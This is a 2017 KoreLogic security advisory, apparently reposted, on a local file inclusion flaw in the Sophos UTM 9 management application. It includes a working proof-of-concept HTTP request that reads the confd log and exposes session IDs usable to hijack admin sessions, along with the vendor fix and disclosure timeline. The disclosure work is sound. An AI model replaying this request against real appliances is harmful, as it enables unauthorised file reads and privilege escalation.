Sophos UTM 9 Management Appplication Local File Inclusion

Sophos UTM 9 suffers from a local file inclusion vulnerability. Version 9.410 is affected.


MD5 | 9dd2a9188e82f74e56570b54972a43c5

KL-001-2017-021 : Sophos UTM 9 Management Appplication Local File Inclusion

Title: Sophos UTM 9 Management Application Local File Inclusion
Advisory ID: KL-001-2017-021
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-021.txt


1. Vulnerability Details

Affected Vendor: Sophos
Affected Product: UTM 9
Affected Version: 9.410
Platform: Embedded Linux
CWE Classification: CWE-538: File and Directory Information Exposure,
CWE-264: Permissions, Privileges, and Access Controls,
CWE-532: Information Exposure Through Log Files
Impact: Information Disclosure
Attack vector: HTTP

2. Vulnerability Description

Any user is has log viewing rights provisioned can read
arbitrary files from the local filesystem as a limited privilege
user. This can be used to read the confd log file and obtain
root privilege SID values.

3. Technical Description

Any user who has permission to access the 'Logging & Reporting'
functionality within the management application can read
arbitrary files.

POST /webadmin.plx HTTP/1.1
Host: 1.3.3.7:4444
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-Type: application/json; charset=UTF-8
Content-Length: 313
Cookie: SID=SoCKGdoKFmeobxZTEWDz
DNT: 1
Connection: close

{"objs": [{"filename": "/var/log/confd.log", "FID": "log_download_single"}], "SID": "SoCKGdoKFmeobxZTEWDz", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1491835733989_0.7813499665507969", "current_uuid": "189fb61e-e01b-11da-8017-0014221e9eba", "ipv6": false}

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2017 07:49:51 GMT
Server: Apache
Expires: Thursday, 01-Jan-1970 00:00:01 GMT
Pragma: no-cache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 605

{"SID":"SoCKGdoKFmeobxZTEWDz","ipv6":false,"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","browser":"gecko","RID":"1491835733989_0.7813499665507969","js":"if($(\"topbar_icon\")){$(\"topbar_icon\").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);","backend_version":"2","loc":"english","globals_data":["SoCKGdoKFmeobxZTEWDz"],"globals":["SID"],"objs":[{"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","FID":"log_download_single","filename":"/var/log/confd.log","js":"start_download('var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log');"}],"_cookie":null,"wdebug":0}

The start_download() function is JavaScript loaded into the
browser. This function takes the given parameter and uses it
to build the subsequent HTTP GET request.

GET /var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log HTTP/1.1
Host: 1.3.3.7:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://1.3.3.7:4444/
Cookie: SID=SoCKGdoKFmeobxZTEWDz
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Mon, 10 Apr 2017 07:51:02 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
X-Content-Type-Option: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: max-age=31536000
Expires: Tue, 10 Apr 2018 07:51:02 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8
Content-Length: 2595127

2017:04:02-00:00:01 hostname confd[28056]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv"
facility="system" client="ips-reporter.pl" call="new"<31>Apr 2 00:00:01 confd[28056]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="ips-reporter.pl" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none"
method="signal_unsubscribe"
2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" method="logout"
2017:04:02-00:00:01 hostname confd[28056]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system"
client="ips-reporter.pl" call="logout" function="logout"
2017:04:02-00:00:01 hostname confd[28056]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl"
2017:04:02-00:00:01 hostname confd[28070]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj"
facility="system" client="spx-password-expire" call="new"<31>Apr 2 00:00:01 confd[28070]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="spx-password-expire" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" method="get"
2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none"
method="logout"
2017:04:02-00:00:01 hostname confd[28070]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system"
client="spx-password-expire" call="logout" function="logout"
2017:04:02-00:00:02 hostname confd[28070]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire"
2017:04:02-00:00:01 hostname confd[28083]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj"
facility="system" client="admin-reporter.pl" call="new"<31>Apr 2 00:00:02 confd[28083]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="admin-reporter.pl" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28086]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="BXeDpxEvboHeDEmaaHEY"
facility="system" client="vpnreporter" call="new"<31>Apr 2 00:00:02 confd[28086]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="vpnreporter" lock="none" method="get_SID"
2017:04:02-00:00:01 hostname confd[28088]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="SBggtglcePoJTWtmkIMO"
facility="system" client="websecreporter" call="new"<31>Apr 2 00:00:02 confd[28088]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="websecreporter" lock="none" method="get_SID"
2017:04:02-00:00:02 hostname confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none"
method="signal_subscribe"
2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="signal_unsubscribe"
2017:04:02-00:00:02 hostname confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none"
method="signal_subscribe"
2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="logout"
2017:04:02-00:00:02 hostname confd[28083]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system"
client="admin-reporter.pl" call="logout" function="logout"
...
...

The logging of 'sid' values is also dangerous because it
leaks session identifiers who may be of higher privilege. A
'sid' for the admin account can be used to change the root
and loginuser passwords.

4. Mitigation and Remediation Recommendation

The vendor has addressed this vulnerability in version 9.503. Release notes and download instructions can be found at:
https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-503-released

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.

6. Disclosure Timeline

2017.07.21 - KoreLogic submits vulnerability details to Sophos.
2017.07.21 - Sophos acknowledges receipt.
2017.09.01 - 30 business days have elapsed since the vulnerability
was reported to Sophos.
2017.09.15 - KoreLogic requests an update on the status of this
and other vulnerabilities reported to Sophos.
2017.09.18 - Sophos informs KoreLogic that this issue has been
remediated in release 9.503 for UTM.
2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt


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